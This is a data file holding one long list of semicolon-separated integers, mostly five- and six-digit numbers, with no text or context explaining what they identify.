13014;59037;34694;42479;107040;43567;41815;53065;83357;79104;16545;16718;64549;83405;67410;105993;105057;104495;17621;59247;19349;87962;59627;61790;60310;68617;25432;39033;31210;56539;52220;104840;37697;47824;17242;50919;18078;92213;47406;19076;84581;36053;103810;35050;80700;52035;93019;65680;10852;20799;64965;75215;93575;35610;94796;90926;39302;36488;40571;91166;71324;65473;16140;86275;45354;99228;70562;53996;56387;27123;84683;24715;16632;21352;23934;67356;54007;60690;85802;51579;92765;15198;43811;63366;37774;91662;75852;53455;35620;80261;39446;91593;97548;85182;32660;93615;52069;71692;80522;101523;53591;93180;45466;36939;22398;67938;51645;27492;79672;76874;66348;29692;91372;52586;77384;66103;101232;90666;99499;95878;34298;87609;57620;12418;52423;47592;15632;16138;74431;96735;54026;84534;74362;94832;78253;92689;100108;25949;76035;82699;18900;51503;65793;10273;40960;51341;73386;39600;63322;25742;77412;91645;10603;104682;85873;47220;33359;81636;35944;25841;19708;87439;88967;34190;97073;63157;76265;51974;77114;24720;106962;56099;35108;81328;53510;49636;94866;11229;43281;72780;88762;25160;24717;105782;24180;78178;87375;47822;36906;88414;95351;52255;22411;66023;18384;101491;73166;13279;92274;74408;29254;106504;67679;77192;86349;81231;65449;71204;21115;47612;29380;45075;32411;29830;100588;13330;72986;27527;38506;56110;41801;102191;46795;87637;64836;78268;89844;85830;56420;30383;81580;36980;32929;13233;16330;81986;94003;79465;95044;105792;102722;21629;87024;68226;67788;59625;62781;12125;62638;69618;30491;60527;15956;26591;28318;78759;101990;29109;82188;32382;29709;67577;23888;24226;99565;53645;49716;74721;64202;75499;16812;62332;45159;46503;66443;75975;71310;93920;47761;67622;83707;49887;90428;92027;76294;57261;70216;26231;97690;29934;33030;36327;101900;87608;50902;102660;97893;87351;106376;52702;92771;76613;65298;30099;96026;53168;39160;59210;25943;21499;48997;104636;16471;105971;79749;44714;93543;21928;75669;79800;25814;72955;77864;47820;87367;85961;105228;80189;33568;43159;70582;27217;22157;106855;10074;40417;85980;19425;75176;71505;42753;102960;56567;26685;17016;78480;42660;101308;89934;102120;55221;28450;85613;66809;105053;102178;96601;15112;23770;16145;68066;91848;45317;68612;54465;55472;29552;103745;22525;56560;19108;27669;77102;74728;64735;31338;103517;72069;78445;81321;100721;39817;71829;71353;38037;83192;44804;35878;13092;37800;81423;43950;39743;85498;76500;40233;84514;10007;47817;28195;100860;30503;102146;39203;86018;95933;101142;39923;26965;10620;87656;90822;91986;20307;12679;89290;86839;105909;16478;49039;84587;64308;29447;23099;99055;72120;95866;68986;14186;15552;81107;63846;68440;94935;54971;39369;27063;15332;39590;83340;103096;73869;37977;105727;16542;101505;66682;11984;54627;36733;93040;81945;66644;57987;28343;28702;28670;49070;58781;72726;105029;67859;58293;17781;86059;58286;13537;62317;39233;13425;66767;61351;89819;55796;85504;84609;20431;78028;50106;68467;24635;79140;39064;18952;96825;74852;56690;86940;57819;18056;38307;87410;101205;62720;94378;53854;42278;25402;62015;68975;58827;17379;55718;100900;66118;86922;101502;105722;62930;82015;70682;50338;97102;79540;83449;28331;87851;50772;23512;27564;24599;61766;92265;60520;19233;55734;102599;15200;35496;13448;69251;73192;67108;60640;68665;75270;35263;31558;80102;55536;72303;56877;70156;76825;83026;25527;90343;63249;35285;35826;29215;66232;17082;61788;41633;37039;101180;70319;74244;50649;77260;39503;75680;12912;12052;76633;84097;48981;51019;69971;68137;81556;30245;11890;13988;61033;103039;58046;100951;19934;99156;76135;91827;21103;10506;29260;92219;40089;96860;92912;89243;30282;84572;103357;62892;60227;68230;35450;71337;88433;91787;71578;78614;19879;53022;103080;41932;18468;24182;65530;13347;95854;67596;14242;20717;32116;93056;95921;39536;62464;74874;33831;49662;32094;83753;69129;84889;82728;34889;28314;36164;100389;20184;10667;48276;92816;50298;13797;58008;21562;88673;90209;55722;89059;43448;68302;37927;24345;47119;45960;39703;97351;71649;66805;19924;13382;31310;48543;50400;37456;33423;68075;93672;82646;101161;103399;55528;50832;80627;79207;41215;80713;21147;60454;48966;85596;44760;45876;91126;95528;82309;27562;22177;59944;47313;44866;63791;64631;91002;75725;82167;32900;95393;84024;58115;83882;68406;18582;39180;34911;68668;72311;28741;16816;50420;48930;51063;59239;23650;55520;22917;66872;13033;18959;99223;90134;50776;106455;30442;67894;19027;79392;86566;77657;104042;85297;68717;26608;38832;48813;29648;95858;97139;53506;33288;41088;75195;48381;72913;96394;96577;38668;101160;14316;88887;65019;104033;35791;19629;61458;50677;35869;49690;44130;65097;61188;25820;61827;84026;63384;102955;62902;94584;49441;31266;85058;41860;91623;71430;18268;101894;50592;106472;89884;105784;88448;80597;17239;10154;28686;57147;50779;37597;86879;91437;40655;68323;67973;26529;36118;54490;63807;29662;88084;15429;18516;29345;94382;37350;53915;96896;96838;16525;88583;81145;67188;75827;16713;90636;21259;85530;48993;49539;54086;49313;68425;63678;46306;46594;27153;77113;63928;38002;59781;45970;73572;40274;59051;60496;40747;31541;44812;41234;17537;32416;42160;42368;103024;31766;53572;22441;46540;65408;76476;97847;83392;62847;103669;17163;33486;33911;99983;14582;24980;18390;34773;46087;18523;66421;85065;12932;106993;56804;75685;95645;75968;40714;14636;76222;75765;53780;50112;20544;104166;68050;42199;11775;71070;77871;70155;90070;61239;75010;99777;106142;67844;79196;47359;19476;55673;96653;72608;46416;29061;45837;20496;19588;62427;46684;26414;49969;61507;54624;12558;59233;86865;13477;55517;12551;14457;75952;31348;50503;54171;38119;28883;79825;106570;74309;55259;74791;85996;52759;78592;19825;106917;99095;88173;76549;200100;19484;31962;81619;29275;27171;13515;68132;37801;25488;63405;21957;54462;66512;81781;69178;32142;60022;88759;12685;97735;57310;82552;70976;26249;57131;48435;21461;48302;27237;76800;102731;68508;66100;14162;73041;28942;100206;69787;23354;23842;67358;62777;27122;49951;55452;14680;37972;17593;13483;81538;101416;78412;36194;83041;73795;55941;96322;80381;44209;90201;49531;31872;60392;28967;88884;47857;24077;30411;100356;34242;39021;46804;77973;17342;87581;51461;68434;73266;33533;62648;59974;78151;52259;56915;49138;26838;33900;53209;66350;22062;80045;11633;21799;70602;31546;92595;22465;50078;25269;87272;36583;24432;55756;106299;64265;29113;94371;52471;25480;59698;14932;20682;86990;94392;85413;88789;21610;96968;35274;60754;99280;19628;49492;48628;38053;55046;106726;15080;38262;45034;79316;64493;63908;12706;100341;67656;38138;52212;48462;59454;33273;39478;47754;78101;100850;10449;96693;29967;23998;97458;80358;30959;13201;102971;200047;74203;104695;49521;22990;20360;71884;84176;34570;11295;77621;83074;81450;27571;16305;65942;48167;51250;99890;97707;104587;44472;85036;105967;22848;59062;37670;97050;37145;41926;96726;34932;80623;62594;39826;43524;52165;18618;22285;70920;106204;61095;67818;99150;104832;52052;53627;30949;34430;12799;72567;19877;84589;61706;44334;69246;41806;58688;83729;40237;12566;62609;81924;101202;84058;15829;35428;28983;47804;45681;79619;65234;13828;63012;42350;66075;91343;27354;20946;70644;29861;39641;62560;93885;86408;91731;39141;101398;83895;48452;30904;75983;71138;53610;92758;57109;56184;37361;11194;10534;38541;70289;32349;87889;18091;81788;57991;68842;53288;92575;83555;33088;106705;106101;61875;94211;65323;96309;104212;29888;48234;23478;51859;43238;46727;22875;88960;46848;20397;105725;96249;70092;78847;57459;78626;28494;90678;60949;41958;63877;100804;24631;62114;53473;11355;20235;96349;42732;82641;105623;15199;95940;44208;39070;36634;103390;84148;66739;33041;91123;24386;97629;51343;80521;77324;30488;11714;60125;93595;75448;93378;55346;32052;41623;42090;59168;80316;21905;81659;33351;62436;45643;105569;102827;13805;90435;47468;102628;44531;81796;14948;88633;64174;74688;28786;96361;104708;42037;60713;46672;105920;96324;83547;80391;39471;102349;92287;24378;56923;34583;65102;78259;72195;86357;94364;79213;13459;65884;12407;25352;103833;16093;17074;69419;54273;48761;38257;77931;40925;30324;69015;22444;83818;103765;23139;79236;104819;78308;54110;81773;27198;74256;63074;84660;82145;12665;20427;74097;65392;32582;77579;36047;58268;103919;61173;46478;23568;93640;44157;46271;44641;93469;49400;50315;84304;91963;45802;94172;49917;72074;33026;10479;68103;92345;29498;34718;22922;29290;51046;15664;50781;86414;88686;82127;11689;48947;24416;25421;81845;73308;90933;28266;87697;79887;33680;101974;83637;31928;20880;40835;89301;102913;26019;60594;89874;19231;39363;11983;41031;105245;50265;66481;94837;105012;61736;40751;91556;57319;17047;16538;31486;78381;27758;49428;103313;52248;99598;96981;47267;63879;17486;80134;51777;45274;35208;10396;60846;28811;18613;74358;41274;59191;95455;73557;29106;15088;37939;71814;10145;82430;16579;84381;46162;29144;44942;53402;34643;89820;40749;19783;92832;33592;61002;36139;96843;104938;38653;46010;36624;68905;104275;56151;41313;80577;36416;37458;62147;105763;99027;47569;92882;30505;57484;37103;55350;26024;46458;22540;12200;45538;31730;81055;80563;57489;43282;81065;19097;69979;97080;28913;27199;62542;74233;34200;50680;65647;81072;87787;46545;104965;50596;39149;62463;40735;80585;41693;29086;83570;39955;79233;103252;50372;45349;62027;82179;22043;42374;77762;26176;23368;63065;81639;76115;90364;76895;97650;97615;84755;65277;82468;84257;21616;10276;82554;68957;55849;21535;51070;13926;97149;18457;57233;53711;72414;30369;70274;99912;83583;23611;75023;37505;100676;25215;103345;82841;65489;106879;87736;93076;92877;71180;72588;57665;62903;45136;80323;39456;69612;12791;84986;71924;88468;103333;32332;33171;88797;42997;55741;88148;54414;16863;66432;15983;83284;66431;17760;90229;76955;69149;47128;17487;27203;10349;103074;99672;85872;55519;94092;73230;17053;22768;96091;59178;70381;51147;33227;45974;30789;100474;72741;83263;29077;17061;35150;104666;14653;34393;48521;32507;26093;100069;61814;46901;99994;73770;53852;12825;51108;37092;53921;38132;52386;11364;78081;52714;12316;22401;39462;16763;89696;18621;44218;66713;40323;77338;53491;88126;50609;65618;13121;25122;73482;34551;96260;77081;67415;19611;19433;62082;47087;49928;24913;26596;97953;54504;60714;43823;94792;106407;28046;51724;75802;107048;51196;27041;91779;75795;40611;93792;34835;64364;40029;32097;34668;38097;75958;19489;96788;52339;54569;83069;19304;89889;84416;44365;23906;81566;17728;100197;11651;50940;103522;94802;107063;69557;91996;96117;65694;40232;34161;92248;65658;32994;51591;41139;13633;60348;66452;60430;54839;84459;30697;10523;77271;92709;46208;77043;20103;85991;32386;65943;92554;76733;73267;57072;63711;38175;200054;91455;52619;24893;58421;48785;41479;61887;54306;31530;97661;73958;102552;36926;30399;53343;21899;104550;81617;84515;73059;76835;103743;23489;25414;79975;57623;62171;80889;71262;25237;32224;28058;84614;29478;42203;51882;27507;37431;104389;28044;74286;13851;48960;83697;78948;45310;58011;87377;105323;13629;63000;25284;79651;55491;94683;13032;15626;50553;57607;85867;97765;44870;47045;29180;86369;100515;69977;75500;12409;12307;72508;97804;89495;106398;21925;93402;32802;30957;99393;42931;46187;81323;41512;101835;12322;17302;87210;41905;60625;101000;35613;58990;106403;60018;40768;97732;77473;71883;19897;14574;57781;46517;35478;36070;20111;17731;53589;68540;39133;60457;49687;49507;21128;30021;46951;19512;71977;48833;79071;82020;86612;68025;75192;54938;48321;89170;83719;25622;94722;70895;42995;50327;20695;103667;70093;49325;92998;73669;105709;43341;30481;35807;62053;72101;33479;45433;20130;81503;27106;87158;76832;22155;83767;80864;35759;94909;24495;56597;52919;57482;71575;83262;11621;71201;86614;67117;51655;23743;66717;25592;59534;38378;58079;93766;41340;80739;32297;103646;93380;35700;41323;31509;62410;49017;41838;25760;40421;87612;46075;65260;42172;90002;83009;11222;20628;25994;50423;10777;87012;100571;100014;22770;101838;21243;93233;65723;105980;41466;16490;51684;20435;90760;75612;104194;94175;67269;15492;71363;27281;41055;21644;33446;87127;77850;56003;21426;21872;53772;76603;24930;49249;46575;82360;21708;69064;58819;30717;95371;79809;85626;103108;93424;22993;50628;61975;89612;94100;48570;95672;74837;20093;38299;60906;86745;84203;91276;32071;96166;13344;45330;13431;45138;88546;63042;73517;86780;105455;86592;37690;35889;36730;13315;96764;47127;24028;22017;65283;17597;104014;87273;28293;94677;30523;102432;66465;17380;25694;15439;50525;37497;86263;23192;99512;48263;106217;57424;96041;34455;44635;20084;57513;83638;65480;97497;80728;19453;70629;91984;45413;73801;53793;16187;73834;14441;20681;62789;49060;73844;23416;105374;105740;63312;81562;26673;105879;41666;60789;48155;97802;76418;76106;73004;47638;28781;78638;71474;79186;96284;60206;89816;21543;28348;39189;12659;89153;44914;68781;61888;36704;61535;51540;105045;15279;99266;55292;31407;31944;100552;45162;45456;80997;60512;15277;63557;76028;20204;19719;88672;105945;19531;93508;15465;46390;24677;47653;28026;64670;72100;83384;50846;66902;94504;23685;97616;102126;13428;20415;65155;101453;42935;94169;84379;10836;70816;78520;72886;50495;10094;91968;102542;88688;24553;86041;29100;46261;85921;70506;32927;26054;52267;13939;100359;30858;67021;64464;27094;94995;102887;103091;104559;74303;87817;33276;89897;85667;86074;28850;31967;66905;41500;58818;76422;99104;44087;90090;60705;83313;71079;106554;44651;80842;85573;80099;87209;59409;90736;50842;58678;45126;80055;94883;46309;93855;18562;79343;95373;11291;62356;45673;88517;44381;34437;65653;94458;37879;65015;61022;24669;42903;23485;78940;102690;54120;79039;87086;32396;64877;37019;87442;23682;50544;49536;103065;27991;100433;13264;13171;71510;58910;76755;16385;92579;104135;99109;93738;69769;20547;92108;75587;22634;69734;46414;55787;68065;38562;46178;103164;83171;83473;97874;101016;23456;44077;19975;105388;13743;17283;30079;34039;69094;67511;91069;77690;55124;36141;32105;55385;18265;105938;50027;37314;64313;62272;27654;14953;34865;76399;70812;50025;47216;97434;86405;79093;44773;35294;41604;63224;67142;55391;78105;49264;93568;35151;73589;41556;105885;63143;88973;56767;70472;41607;74486;13928;94209;71935;21573;10891;101956;26977;95399;84771;106304;34983;99080;100599;35629;99042;91505;76290;70310;17357;49748;102363;101386;82480;101433;21269;36150;68730;43029;48904;35181;18606;102445;54496;89293;39448;50350;101096;50402;59891;32124;28146;85375;48653;77540;69548;19909;55863;59476;18008;87934;99785;75696;61882;31059;20078;51399;78516;63564;102461;44546;42705;49963;37894;92999;106941;57130;73447;51482;81614;19751;56074;73126;99949;86291;92984;102782;18236;27664;94345;24759;61084;14258;33557;67308;104133;81638;74743;71820;62432;15725;28382;66870;53826;44095;26724;101019;38185;50081;54289;18352;23863;15695;16431;40616;70443;54087;84204;96113;77930;36159;30120;26064;71885;48618;91955;40099;81290;68928;41665;72936;69011;93612;94455;85763;79819;53596;104026;60010;87498;96313;29812;63086;91339;86672;29655;95624;55973;58608;82317;61879;35149;60508;30159;60933;88716;54324;31842;102504;49489;75507;72174;101396;95350;91988;75164;106296;17793;61078;52764;64322;18821;101865;54190;96263;50430;89230;85898;101808;76193;11505;13364;68576;32125;84198;78193;105496;105365;32691;60523;34505;43138;97619;65735;100925;37387;31415;60858;74759;62763;52291;52620;29371;68981;38167;76281;105910;19272;32448;59372;17978;107009;52890;21632;25807;93548;24919;41445;58423;48538;83300;63181;38134;88646;81859;11723;56601;67888;29718;74259;62553;11886;32471;26786;55001;55765;47210;32049;17579;69655;27433;55447;90110;77734;65130;24497;70494;86774;75784;104769;76224;52285;32363;106863;50721;81018;78856;69184;90829;49684;35395;73200;104244;37021;89424;79843;29657;23209;17213;84059;50529;15980;38616;68909;97901;69831;21672;104037;31328;38903;11230;104298;59641;101831;51636;103870;52835;59365;96032;67948;26283;48763;42351;10017;16498;95296;65566;91280;81097;89340;35295;101607;59514;12562;91659;59042;61943;20135;76210;92968;99472;92762;52546;28532;102591;56754;10100;72939;45226;90355;38585;96304;50901;22806;101092;27301;86134;59902;18445;38621;33048;93352;93881;106737;53682;68305;13270;27863;47721;97126;76680;14015;63053;57500;78213;65501;30456;99606;44585;74758;77234;90608;39421;78655;47194;49513;12280;28171;26003;63495;43646;47118;23982;85196;51355;73383;24609;70272;19527;63998;92642;50091;59909;58850;55924;79022;68562;91056;25095;66195;49944;29208;80838;56404;91359;87107;58036;60943;92194;33560;11888;60024;42051;70253;54400;42708;23256;47427;69950;39267;87063;22218;50891;26140;79898;69175;26771;43871;56771;26312;92691;59417;56781;63728;58465;90805;105159;11555;69309;31053;76203;33388;50589;61459;92009;87528;50169;46525;49207;48857;29364;74143;63947;100585;28299;72003;77291;76943;12987;23011;74065;60316;77907;25810;102549;72372;57579;105855;66167;62378;93745;46451;18614;92040;65993;92059;89254;100085;11923;59852;20014;61314;97001;82354;18863;13635;37337;93120;74914;21114;70499;55882;90815;48772;65022;87544;64189;73962;105591;106616;100950;56149;13614;86279;96211;34684;96844;82089;29319;15644;46214;94859;23622;14224;31811;84728;50162;60914;92830;27661;12237;68400;103715;69756;35423;12379;49617;81271;104290;86019;49626;82417;102205;35705;62359;79602;79888;29156;12926;44894;83703;54263;81798;11835;49159;80650;60656;93450;15778;74750;36682;48254;10252;34275;106633;48587;93481;102158;42452;37826;91374;100374;44348;79769;56654;100265;66808;103648;82996;73999;24680;99079;39084;70936;95702;94890;14546;92695;51762;15267;76429;71797;64143;40700;100793;50663;54600;14261;80520;13194;15732;17695;74899;47076;88786;54878;38759;91561;56140;13071;80111;77288;75392;70609;44282;106310;75575;78002;74267;58866;17470;45443;49488;23432;82772;200146;36371;70190;13956;64614;105505;41183;55376;41659;100798;61250;102704;18603;106835;49790;32367;102512;10471;100825;94617;90641;27702;18323;11013;55827;55030;89679;47151;57296;30699;75762;84578;37227;29005;105292;87955;26757;97164;76830;60529;67312;52224;28405;102160;22019;23853;13284;17378;31666;79581;44064;83317;82439;72362;58434;63253;47218;80138;82909;43564;81044;78047;45196;64035;33044;73788;32295;60371;48399;56496;80061;81827;96898;58034;58049;47750;51499;67600;17384;70834;42276;57040;67575;66915;14824;39005;61482;73983;29177;39977;66992;82353;50540;62999;78803;40681;66568;101852;93051;105032;91870;79884;30440;11365;79831;35489;102623;57889;99380;39355;102818;60929;82694;53258;101969;16972;82581;34648;95931;68076;70892;93634;42457;97974;17513;57907;57441;33770;33419;59809;66286;45855;55099;35733;40204;61726;102558;95951;42227;46246;46059;104356;72928;34896;25217;88817;52696;14958;49855;14471;42419;104417;97216;60822;68110;20157;77300;43598;80708;100133;48939;97597;83101;40057;67368;78187;43306;91727;37779;23003;84185;29535;43607;52446;28126;77374;24314;74745;12227;64597;35860;90860;59552;23814;19753;38607;32913;52164;85929;25901;96646;103379;66061;24051;44950;32126;96697;19321;89713;104588;32230;41627;32757;27351;104250;15525;67278;99928;37355;17377;54714;103355;66467;61195;30842;94383;12851;56891;42784;57049;97063;20854;73860;77179;85673;84672;68647;27126;39430;99151;82871;92750;106477;56743;67829;100232;43712;45703;46716;78981;75303;74879;104452;60146;85200;56027;17761;200004;26259;74280;75686;27818;21506;37245;57298;10421;107110;106323;83690;89093;85367;32458;60894;34120;106245;200086;13965;51657;70795;90225;42450;15470;72162;101086;14434;88445;32335;104554;62163;34798;71986;13736;22510;30183;92618;55058;68161;32561;44132;23573;61289;68082;67908;46054;39073;64325;84230;40160;21140;56455;86933;76716;32705;87628;68280;84383;83664;60408;19778;68162;61835;78171;96255;71936;70453;53305;40951;79168;79348;90462;43720;85102;36143;34050;66841;73354;60729;86861;22760;53143;48627;30396;54629;22359;26802;31838;59339;68971;12898;14554;78792;53989;53131;81176;57971;102939;100336;30550;101263;60802;36234;82582;47430;61484;102070;55569;53036;11067;27652;93124;54457;12113;20008;79801;17762;34294;76371;51548;93735;90998;18464;102485;35682;86825;89216;54238;82135;36037;19832;89473;58638;64168;93798;63309;99766;37937;79541;87619;14074;72972;33726;72463;66796;44753;58109;84155;75024;52681;10651;19680;16723;27862;97851;60912;51841;68241;56790;46060;57861;31371;103599;79868;13159;37854;93774;49260;41595;100909;68622;60241;106508;43667;77025;90546;54252;54079;41184;91672;64784;16634;15211;58417;38713;97346;53117;65209;92541;94934;90380;36183;48806;53924;43275;14223;50118;88885;75100;40562;71599;23616;83410;66557;95536;62433;90730;91133;85931;70569;30315;89974;15407;67604;96711;97192;103104;24240;79455;23698;104227;83951;17471;18578;79162;55587;23248;20355;53864;37548;61938;62595;100972;45624;87708;49597;79721;16092;10457;40796;76490;39663;74305;60516;38731;66263;25953;29323;49746;106772;61336;12506;72330;22890;91668;63247;37280;26215;104219;43537;67958;74185;61034;27559;62840;29604;70568;17988;42097;70420;73736;66757;38410;23463;56669;45831;90756;23623;54423;87918;63389;19958;71098;87154;32543;106262;41296;65957;10656;49722;22637;79982;102262;91299;45038;88446;95492;23353;56592;58492;100846;101020;26703;66010;78335;47717;67757;62140;103218;92566;80073;15675;23220;103163;17049;77521;99065;12015;55104;101047;84003;58833;11539;26895;102882;31997;93172;24733;100098;90188;76123;58996;63577;52798;43824;95786;42073;43611;25774;59983;46048;75882;96551;35447;60826;24651;96264;31597;51165;70301;101111;103175;19068;65662;96811;88902;24451;25565;14051;61570;35257;83492;102860;56204;66947;23007;58680;66677;105310;56685;64602;27222;102085;44457;61435;74295;84361;39387;56489;50757;43200;56778;24952;70143;14123;31836;58641;81908;11877;84778;38590;38237;42566;96695;12820;103285;26933;106253;56693;93667;52914;38322;28441;10809;68426;13983;81116;27264;75860;69902;20065;95961;99506;62322;54476;38421;76002;99684;89253;39196;27393;27134;75476;70771;92974;94479;61930;42502;16938;77223;50696;50736;28098;95847;62593;14813;69460;87404;56505;25990;59830;59455;21685;58160;95781;82235;38595;39153;72857;62566;45982;88516;75826;60335;63841;64893;43131;105869;33296;32577;59493;27781;75574;52609;52269;44272;67615;86394;77028;51829;104073;19706;89280;62877;55945;49182;31469;26217;19003;43944;13309;12852;91245;34838;85671;49814;13640;90963;72654;51376;42883;100984;76532;99519;56156;22662;32987;20010;82771;23524;106154;80796;11014;75480;11624;34483;15142;61515;23703;31862;10870;52453;47501;21765;39694;10271;55474;15923;35402;93730;105837;39711;20145;92522;106552;83542;13693;67182;79280;68521;65421;84080;18437;61055;66035;54266;81920;14658;37992;96487;61544;71153;59948;55130;13869;13148;62201;60391;94957;93994;60158;82234;83174;69686;24034;57821;86305;46949;91077;80335;53621;105394;43521;36213;72296;101354;17574;80562;105535;84601;72470;48227;47661;24859;69956;47460;41440;35436;83162;76370;73810;56116;95574;51455;32426;77444;44504;99840;84470;25835;35798;38576;44668;80841;10835;60197;76664;48179;52024;31939;44361;74940;69271;40526;37554;99502;44731;68033;79668;44947;45454;41195;83187;73825;82612;101546;100823;64894;81570;83269;30591;54992;20368;89977;56637;10910;83960;57117;48759;87213;57662;45351;68976;58230;52173;79252;73911;35618;18703;23330;79241;78681;73745;14229;16509;46278;48770;93238;51281;23987;59531;97547;59422;56897;61047;27090;60839;16629;101537;77716;41133;96022;90328;36034;90075;94302;84855;65339;64127;57333;21777;99872;53290;17382;34810;23931;70521;56617;16225;102203;31162;54566;97652;55165;70169;90241;101304;57808;53433;60025;62708;99014;83296;29331;71947;102997;85148;68213;55417;30208;26817;47126;24221;87227;74176;99720;55680;19306;60080;104692;101564;54281;51718;36137;38147;53004;100501;79563;91557;45794;81341;65879;29278;54258;61265;15864;47565;82106;53664;30022;99503;27824;39482;11582;84659;84557;77261;78029;78410;15640;45844;66590;100903;68771;23796;48566;93127;92747;25944;70044;59920;36451;97325;54664;57795;68666;62527;43294;56628;86418;99220;26547;35226;19190;76674;77430;27953;45511;77979;78609;32730;18277;42681;97656;88449;71239;72408;64529;79981;30326;19015;21968;18669;68530;10467;19375;69286;45943;29146;104086;101829;37388;86641;16017;44737;71433;85143;105640;11724;103700;89554;18536;20824;84690;59738;104432;56642;103535;69777;21977;30752;96373;72583;39236;55593;74640;45059;26476;69381;96016;27487;97809;22585;18251;79685;70451;52978;39735;104099;104024;23051;73285;73953;49181;40185;99433;42741;28989;42866;75657;86621;31630;80773;31787;101169;69843;82551;13085;21191;92838;41099;99592;103263;82140;70335;71192;26111;42074;42426;92491;73289;99413;80446;55838;27391;45756;57153;26230;28506;28413;29918;47616;18041;32570;50960;37594;95849;65977;24500;99056;99849;96959;80078;13613;63963;104645;91355;77586;46733;56903;29641;69164;11743;82419;66721;91128;47684;24321;71774;56581;21686;15522;89710;55538;49321;11952;36541;56712;95256;65525;28785;88729;105334;82647;65451;32991;88074;32005;12006;77273;97506;20611;51844;76724;95470;91333;32536;28765;94321;88541;26430;46770;59430;83181;65573;95281;54899;64616;102068;38923;38186;56629;93806;105537;60788;57598;96813;54544;48827;38221;61640;96199;21793;69815;49141;13520;105293;53769;12768;42552;39098;72850;24084;29512;24417;30554;30422;100688;32477;55217;50751;40206;12226;65532;31979;72458;49023;106155;56855;94694;87620;92268;43509;56600;61007;67821;103509;67902;63637;29822;62816;93251;90991;74343;13966;100294;47390;106527;40046;25103;22616;95260;11126;93453;11779;83898;10940;83014;30769;86826;34405;101561;43690;22075;27793;94674;79661;77220;84028;77361;80360;54345;28877;39968;51446;38898;58873;24119;80638;59198;39216;83436;81499;75538;77791;17199;62057;50583;14474;45727;90305;34499;75631;55635;59702;69012;81606;81916;35809;78273;49837;66867;62185;32460;64284;11072;66988;67320;37824;57879;101191;104859;92785;85481;10536;52963;72678;22839;97364;73193;70912;62831;51445;63778;89048;57807;16964;93842;87798;17067;49167;44013;39137;29049;100286;64902;27642;89638;64445;80308;91291;36997;101044;14104;56666;53893;68583;104378;28985;75534;44367;85201;26631;39341;26147;15505;88511;47389;101794;82585;58961;42643;104327;13361;60463;56258;55873;22577;54871;77147;35954;22655;78327;64888;66880;90890;92546;29428;75037;84521;81345;71438;46163;86562;85531;22676;30885;10289;27927;23275;29375;60639;20313;15286;33155;56006;10428;11450;94889;50935;22528;42763;38758;82266;69257;31754;77950;67292;25048;30444;25718;29768;65401;28838;69957;104960;74609;79936;33514;86769;55597;85839;40514;89847;14671;78208;49708;29828;77997;54042;88809;10364;90233;79689;96137;101661;71214;29516;11454;82794;74861;91229;25904;69665;19675;101640;80298;34899;23785;97410;78235;92746;16681;81270;87301;14346;75104;58529;24076;94380;14809;35227;106688;94287;50347;76342;54900;43272;102103;74687;43861;29656;26052;73826;32200;104174;30436;104739;102493;57198;45753;48924;58571;51605;78472;29784;88560;20006;82499;88840;103616;62456;82112;86856;15844;97781;63894;84671;39638;38472;48473;41840;20250;90387;32337;55333;88841;54320;36395;34207;23442;13042;86572;97924;99622;29187;17099;97702;103223;37450;58982;47139;42827;71610;17245;53423;26983;97838;88423;68982;87062;58191;43330;44613;43886;56552;63633;53611;103736;94232;39806;43583;57682;104035;85850;12686;61982;92246;91636;32597;18075;105199;102769;65932;15697;32408;82681;33550;83270;46157;66349;23822;79599;78935;105177;80447;34949;11484;48574;48339;94775;51419;29105;70213;13502;22118;106447;46212;41060;83196;10688;49448;37259;94334;52239;77574;89012;21252;46236;87668;64109;63439;103821;86656;63431;25653;67560;63598;16831;35385;37023;28452;11319;28204;54430;60994;96233;94586;60671;68133;36693;94908;70383;16113;79793;59280;20542;97234;87136;36341;63048;99043;13505;87597;80810;71707;79269;20231;75317;27708;61429;45582;80612;71962;12650;102917;85588;68555;80325;29711;92303;25466;78936;42080;76052;85966;103998;21876;53875;24407;99515;72459;41856;68657;11266;72073;101793;93521;50518;35854;25703;62271;28715;97130;66503;97959;106662;96473;48631;48787;31601;82445;86105;54467;53359;38922;67758;54893;59031;84891;92083;49966;49851;16684;43626;86792;15834;50504;13030;41324;42605;42211;87815;41459;34727;34056;61607;59396;76347;29463;70827;59032;25315;68743;76437;51999;50653;102630;100102;41410;40119;30994;53704;37742;33976;51091;94490;30775;50427;52742;34660;18882;73353;30151;14774;78361;63190;40429;89467;91656;75170;60925;67635;53903;87554;85737;38231;32374;22549;60016;31297;72261;45356;35491;23043;97860;99636;44288;77634;13223;50771;44378;25553;32321;25271;31674;101037;79992;10116;59088;34563;33716;32552;56090;84303;39450;28107;62578;62696;20730;45088;87775;27367;69346;62290;75033;15693;40742;88990;44211;58274;75728;10626;48174;45355;102062;89782;77269;53977;77957;88047;39204;53275;32639;38099;82624;72191;36767;41882;58088;103790;78738;60455;38482;47080;36186;54829;64365;30823;101410;25883;94221;77452;87673;100665;43086;63360;73350;40626;31881;100483;49491;12822;29924;17803;88577;80674;32106;66551;33221;101007;42676;61319;62164;85197;99071;88607;92159;51711;103113;93351;69179;23081;87879;35894;13558;39372;40121;80477;82840;15017;56248;24155;48951;45426;80775;55889;11012;52373;27700;102534;106105;15846;66164;31948;56267;43551;105339;80226;52330;104904;50889;45285;62761;104852;90437;89588;78375;67323;32761;45402;28083;39832;58323;94748;71868;83273;45949;95287;102644;100750;72848;106555;88802;67407;82604;47408;102524;57948;16635;59052;85072;36020;93176;64192;57636;103443;37083;83566;25430;58579;87545;74133;48410;103185;22557;89338;76009;25753;21684;78846;81720;69727;84920;55776;21338;90568;102890;70178;70825;10480;64170;73360;43410;73216;55285;28666;68694;62124;21277;89880;25448;56911;101353;86096;94363;58508;92620;19968;61532;11455;16019;22422;59523;74923;30150;73427;39725;86103;50464;60417;69493;48756;105479;55489;35548;29328;58763;11124;83011;35569;71175;96614;35671;78212;57679;86338;30526;106379;18887;104107;87995;36228;75916;63206;106236;36296;38246;53688;11693;24807;96745;69887;25030;35232;19735;66544;82617;93729;92391;87427;76505;82075;85068;25346;48873;54327;94464;94996;55041;70193;75505;97376;90878;24526;29568;81734;51994;82051;61479;70292;18594;92368;70027;64732;68603;86426;81162;67926;72068;100933;80367;14605;81106;102462;90957;15322;65812;72897;103037;94611;79972;13728;97301;15234;52677;86329;54133;49320;19667;71213;29237;99116;50398;43683;106152;53677;58357;29060;52671;68878;93641;12203;44925;106664;66247;73096;83599;59136;64157;71673;78417;60643;100202;16789;71150;64199;80602;106954;54855;90406;57909;69362;28230;67094;19515;57017;20120;83728;104561;74294;94399;100663;61168;16813;66862;34063;13994;11193;38998;93307;54988;72833;66818;43067;18407;88170;35384;51316;73638;72095;34338;34640;23825;80834;60015;77082;85034;62109;96125;44711;28710;73031;51344;